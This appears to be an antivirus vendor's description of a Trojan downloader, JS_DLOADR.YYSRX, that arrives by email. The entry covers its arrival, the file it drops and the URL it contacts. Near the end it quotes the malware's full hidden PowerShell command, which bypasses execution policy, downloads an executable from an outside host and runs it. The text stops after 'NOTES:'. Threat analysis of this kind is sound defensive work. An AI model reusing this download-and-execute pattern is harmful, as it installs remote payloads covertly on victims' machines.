JS_DLOADR.YYSRX

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

However, as of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Download Routine

This Trojan saves the files it downloads using the following names:

• %User Profile%\AppData\RoamingdEX66.Exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan connects to the following possibly malicious URL:

• http://da.{BLOCKED}ongarden.com/js80.bin?Twxacq

It does the following:

• The malware uses powershell commands in executing its malicious routine:
  • “%System%\cmd.exe" /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://da.immersiongarden.com/js80.bin?Twxacq','%apPDAtA%dEX66.Exe'); start-procEss '%appdAta%dEX66.exe'

However, as of this writing, the said sites are inaccessible.

NOTES:

This malware arrives through a DOC file. It is embedded and executes its routine upon activation by the user: